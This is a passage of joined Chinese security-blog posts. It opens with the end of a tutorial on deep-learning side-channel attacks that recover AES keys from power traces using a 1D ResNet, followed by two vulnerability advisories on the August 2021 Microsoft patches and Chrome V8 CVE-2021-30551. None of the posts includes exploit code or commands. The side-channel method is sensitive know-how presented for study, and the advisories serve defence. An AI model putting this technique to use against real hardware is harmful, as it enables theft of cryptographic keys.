3.攻击所需数据。从num_shards,num_traces_per_shard可以看到,一个shard包含给定的key的所有样本,因此shard的数量等于要使用的key的数量。num_traces_per_shard指的是给定的key使用多少不同的power trace。
4.攻击所需架构。包含模型的参数、优化器等。

本文使用的是带残差的CNN,即ResNet,但是有一些不同
1.由于我们处理的是时间序列,
shape为(batch_size,trace_len,value),而不是图像(shape为(batch_size,width,height,channels)),所以使用的一维卷积
2.模型一开始用的是max pooling,这是因为之前采样的时候是过采样的,使用max pooling可以使模型更小,以便更快地收敛
3.使用了卷积增长函数的简化的stack(堆),其实每个stack就是将过滤器数量翻倍

dropout用于帮助泛化,之后是全连接层、激活层和BatchNormalization层,输出层是带有softmax激活的256输出的全连接层
网络的一般结构如下

残差块结构如下

从批归一化开始,在进行卷积之前通过激活层。正如前面提到的,我们这里用的是一维卷积,即Conv1D;其他的都和标准残差架构一样,不再另做说明。

模型搭建完成后,使用训练集进行训练即可。

#攻击

这一步,我们利用训练好的模型来恢复训练过程中没见过的key。
我们将深度学习应用于侧信道攻击的优势就是它可以根据trace数量可扩展地进行概率攻击,我们只需要累计模型的预测值就可以了,如下所示,累计的结果越大,则该值越有可能是对应字节的值。

为什么这么直接加起来就可以来了?因为我们之前在输出层用的是softmax,softmax就是用于将模型的输出转为概率分布,他们的和等于1,如下所示

现在还有一个问题,怎么评估侧信道攻击的效果呢(除了直接看是否恢复出了给定的key)

在本文中主要评估恢复给定key需要多少条trace,评估指标可以是:恢复key所需的最少trace是几条?平均需要几条trace才能恢复key?恢复所有key需要多少trace?以及通过攻击曲线(如下所示)来看累计成功率,我们以恢复16字节的key中的一个字节为例来看看。

我们画出攻击中的密钥恢复效率,实际就是打印攻击曲线

下面给出的累计成功率就是上图曲线下的面积。如果是完美的攻击,其曲线下面积应为1,这说明1个trace就可以恢复出全部的key,但是这基本不会发生,我们要做的是找到曲线最陡或者说曲线下面积最大的攻击,因为这种攻击的性能最好。

下面的代码用于计算并打印指标

从上图结果可以看到,使用1个trace可以恢复40%左右的key,为了恢复全部key,需要4个trace,累计成功率为83.79%

现在我们尝试恢复出AES的完整的key。
攻击前,还需要设置参数:攻击点可以设为sub_bytes_out;从攻击曲线的图中可以看到其实不需要10条trace,5条trace就足够了;此外还需要设置目标shard,一个shard就是一个不同的key,随意设置即可

我们运行16次字节恢复算法,一次可以恢复出一个key字节

运行得到的结果如下

可以看到基本预测正确。

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164300.html

2021年8月“微软补丁日” 多个产品高危漏洞风险通告

近日,腾讯云安全运营中心监测到,微软发布了2021年8月的例行安全更新公告,共涉及漏洞数44个,其中严重级别漏洞7个,重要级别37个。本次发布涉及Windows操作系统,Office,Windows Defender,Visual Studio,. NET,Edge等多个软件的安全更新。

为避免您的业务受影响,腾讯云安全建议您及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。

漏洞详情

在此次公告中以下漏洞需要重点关注:

CVE-2021-36948(Windows Update Medic Service特权提升漏洞):

该漏洞允许通过 Windows Update Medic 服务进行本地权限提升,这是 Windows 10 中引入的一项新功能,旨在修复损坏的 Windows 更新组件,以便计算机可以继续接收更新。攻击者需要登录受影响的系统并运行特制的程序来提升权限。

漏洞CVSS分数7.8。该漏洞微软已检测到有在野利用,请优先修补。

CVE-2021-34535(Remote Desktop Client远程代码执行漏洞):

该漏洞影响 RDP 客户端并非 RDP 服务器。当攻击者可以使受影响的 RDP 客户端连接到特制的 RDP 服务器时,则有可能控制该机器。

漏洞CVSS分数9.9,被微软标记为严重漏洞,需要重点关注。

CVE-2021-36942(Windows LSA 欺骗漏洞):

未经身份验证的攻击者可以调用 LSARPC 接口上的方法并强制域控制器使用 NTLM 对另一台服务器进行身份验证。恶意用户可以使用此漏洞完全控制windows域。

漏洞CVSS分数9.8。

CVE-2021-36936(Windows Print Spooler 远程代码执行漏洞):

漏洞CVSS分数8.8,此漏洞被微软标记为公开已知,尚未说明是否为PrintNightmare的变种。

CVE-2021-26424(Windows TCP/IP远程代码执行漏洞):

攻击者可以利用 TCP/IP 协议栈 (tcpip.sys) 向其主机发送特制的 TCP/IP 数据包来处理数据包。可由恶意 Hyper-V 来宾向 Hyper-V 主机发送 ipv6 ping 远程触发。

漏洞CVSS分数9.9,被微软标记为严重漏洞。

风险等级

高风险
影响版本

CVE-2021-36948:

Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

CVE-2021-34535:

Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Remote Desktop client for Windows Desktop
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows Server 2012
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows Server 2012 R2
Windows Server 2012 R2
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

及其他此次补丁更新日期前的所有相关软件版本

其他漏洞影响的组件可详细参考官方公告

修复建议

微软官方已发布漏洞修复更新,腾讯云安全建议您:

1)更新系统补丁:确保服务器打上了所需的补丁,打开Windows Update更新功能或下载修复补丁,点击“检查更新”
2)不要打开来历不明的文件或者链接:避免被攻击者利用在机器上执行恶意代码。

【备注】:建议您在安装补丁前做好数据备份工作,避免出现意外

漏洞参考

官方安全公告:

https://msrc.microsoft.com/update-guide/releaseNote/2021-Aug

本文作者:云鼎实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164327.html

Chrome v8类型混淆漏洞

1. 通告信息

近日,安识科技A-Team团队监测发现Chrome组件存在类型混淆漏洞的信息,当前官方已发布受影响的补丁。

对此,安识科技建议广大用户及时升级到安全版本,并做好资产自查以及预防工作,以免遭受黑客攻击。

2. 漏洞概述

CVE-2021-30551: Chrome v8类型混淆漏洞

简述:该漏洞是由于Chrome没有正确的处理访问的Object的命名属性,导致攻击者可利用该漏洞在未授权的情况下,构造恶意数据,造成远程代码执行攻击,最终获取服务器最高权限。

3. 漏洞危害

攻击者可以利用漏洞执行任意代码,接管服务器,存在极大的危害。

4. 影响版本

Chrome < 91.0.4472.101

5. 解决方案

当前官方已发布受影响版本的对应补丁,建议受影响的用户及时更新官方的安全补丁。

打补丁方法:

找到Chrome浏览器的设置选项,在设置界面中找到关于Chrome,点击升级即可。

6. 时间轴

【-】2021年6月9日 Chrome官方发布漏洞安全公告及POC

【-】2021年7月28日 安识科技A-Team团队根据官方公告分析

【-】2021年7月28日 安识科技A-Team团队发布安全通告

本文作者:安识科技

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164335.html